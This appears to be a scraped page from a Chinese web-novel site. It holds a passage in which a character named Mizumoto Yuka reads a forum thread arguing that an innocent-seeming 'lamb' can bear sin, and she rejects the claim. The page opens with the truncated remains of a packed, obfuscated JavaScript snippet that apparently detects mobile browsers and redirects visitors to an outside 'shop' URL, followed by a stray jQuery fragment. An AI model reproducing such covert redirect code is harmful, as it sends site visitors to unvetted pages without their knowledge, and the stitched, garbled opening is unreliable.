l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096545|195634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个隐约的念头。 【“上帝。” “请您成为我们的上帝。”】 而当水本友香看到这里的时候,她那隐约的念头彻底形成了。 她明白了,她得到了她想要的答案,并且急切的想要将这种答案分享出去。 “怎么办……怎么办……” 就在水本友香一筹莫展之际,她看到了一条帖子。 [讨论:《羔羊之死》的羔羊就真的无罪吗? 发帖人:黑色的船] 鬼使神差的,水本友香点了进去。 [一楼#楼主#:不知各位是否听说过一句话——为了达到目的,连魔鬼都会不择手段地引用圣经里的话*。] [二楼#黑白灰#:诶,是我知道的那个《上帝羔羊之死》吗?今天才刚刚看,不得不说,虽然作者的文字还有些稚嫩,但文字包含的意思很令人深思啊。] [三楼#平井夏树#:鄙人今天也阅读了这本文,不过可能阅读的过于粗糙,并未有过深的感悟,但楼主先生的话题令鄙人非常感兴趣,能仔细说说嘛?] [四楼#楼主#:回二楼,是这本。] [五楼#楼主#:回三楼,谢谢您对此感兴趣,我正在输入中。] 水本友香不耐烦看这些话,于是直接直接找到了楼主的最新内容,继续看了下去。 [八楼#楼主#:继承本帖主题和一楼的内容,我来继续讨论这个问题。 首先,我们要明确一个观点,罪是客观存在的,只要是有思想的生物,哪怕是一根会思考的芦苇*,都需要承认罪的存在。 其次,从本文来看,虽然作者一直在强调羔羊的纯洁,强调它的无害,但纯白的就一定无辜,年幼者就一定不会犯罪吗? 就拿前几年日本战后激增的少年犯数量来看,这似乎并不成立。 反而因为纯白,所以布匹能更好的被染上其他的颜色,因为年幼,所以即便是杀死家人的仇人,也可以心安理得的宣称自己是遗孤神圣的教父。 由此可得,我认为羔羊是可以有罪的,它有可以被审判的罪恶。 牧羊人是很愚蠢没有错,他温驯、愚信、不反抗,即便是呻吟,也是在无人知晓的黑夜中,藏匿于自己的喉咙中,从呼救才能得救的这套理论来看,他是不值得被拯救的。 他的身上也有罪,而罪名就是【懒惰】,是眼睁睁看着自己的灵魂在寂静里腐烂,却任由霉斑爬满了自己手脚,让呼吸绞死在喉管内。 但说真的,亲爱的,相较于羔羊的罪,我认为牧羊人的罪是那么的不值一提。 因为它让一个人意识到了他的罪,还教唆让一个罪人成为上帝。] [九楼#水月#:后面呢后面呢?楼主你快出来说话呀!] [十楼#風のように#:好久没上论坛了,这个讨论好有意思,文是叫《上帝羔羊之死》是吗?我需要去看一看了。] [十一楼:……] “后面呢?后面怎么没有了?” 现实里,看完了楼主解释的水本友香同样发出了疑问,但和因为认同或好奇想要迫切知道后续的其余人不同,她是愤怒的,是不认可的。 “为什么会有罪?活着又算是什么罪?” [三十一楼#243香水#:我不认同楼主的观点,因为活着是无罪的。]